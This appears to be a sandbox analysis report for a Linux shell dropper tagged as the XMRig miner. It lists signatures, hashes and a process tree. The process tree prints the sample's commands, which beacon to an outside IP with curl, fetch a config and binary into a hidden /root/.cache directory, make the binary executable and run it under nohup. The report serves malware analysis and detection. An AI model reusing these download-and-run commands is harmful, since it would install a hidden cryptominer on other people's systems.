Overview

overview

10

Static

static

1

d8dc75bd3c...4395c6

ubuntu-18.04-amd64

10

d8dc75bd3c...4395c6

debian-9-armhf

10

d8dc75bd3c...4395c6

debian-9-mips

10

d8dc75bd3c...4395c6

debian-9-mipsel

10

Analysis

  • max time kernel
    64s
  • max time network
    65s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/09/2026, 10:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    d8dc75bd3c4a87ba511caf770ea051a9047e06cea14e4af219e9c34d874395c6
  • Size 1KB
  • Sample260917-m1qq6sel4v
  • SHA256 d8dc75bd3c4a87ba511caf770ea051a9047e06cea14e4af219e9c34d874395c6
  • MD5 SHA1 SHA512 TLSH
Score
10/10
antivmdefense_evasiondiscoveryxmrigminer

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d8dc75bd3c4a87ba511caf770ea051a9047e06cea14e4af219e9c34d874395c6
    /tmp/d8dc75bd3c4a87ba511caf770ea051a9047e06cea14e4af219e9c34d874395c6
    1⤵
      PID:651
      • /bin/mkdir
        mkdir -p /root/.cache/.ssys
        2⤵
        • Reads runtime system information
        PID:653
      • /bin/mkdir
        mkdir -p /root/.cache/.ssys
        2⤵
        • Reads runtime system information
        PID:656
      • /usr/bin/curl
        curl -fsSL http://45.59.124.200:8443/beacon -o /dev/null
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:661
      • /usr/bin/touch
        touch /root/.cache/.ssys/.bk
        2⤵
          PID:681
        • /usr/bin/curl
          curl -fsSL http://45.59.124.200:8443/cfg -o /root/.cache/.ssys/.c
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          PID:682
        • /bin/grep
          grep -q PENDING /root/.cache/.ssys/.c
          2⤵
            PID:684
          • /usr/bin/curl
            curl -fsSL http://45.59.124.200:8443/x -o /root/.cache/.ssys/.b
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            PID:685
          • /bin/chmod
            chmod +x /root/.cache/.ssys/.b
            2⤵
            • File and Directory Permissions Modification
            PID:774
        • /usr/bin/nohup
          nohup /root/.cache/.ssys/.b -c /root/.cache/.ssys/.c
          1⤵
          • Executes dropped EXE
          PID:775
        • /root/.cache/.ssys/.b
          /root/.cache/.ssys/.b -c /root/.cache/.ssys/.c
          1⤵
            PID:775
          • /bin/sh
            /bin/sh /root/.cache/.ssys/.b -c /root/.cache/.ssys/.c
            1⤵
            • Writes file to tmp directory
            PID:775

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                .b
                • Path /root/.cache/.ssys/.b
                • Size 8.0MB
                • SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                .c
                • Path /root/.cache/.ssys/.c
                • Size 1KB
                • SHA256 bc8c3833419051f98c14b504783607c6502d153c7134faa4f5c6753965f389ae
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                .pid
                • Path /root/.cache/.ssys/.pid
                • Size 4B
                • SHA256 04ac70e5b43f47d205e6483b65209eb41e2e951aa57bf17e5b466112bbed9def
                • MD5 SHA1 SHA512
                Submit Download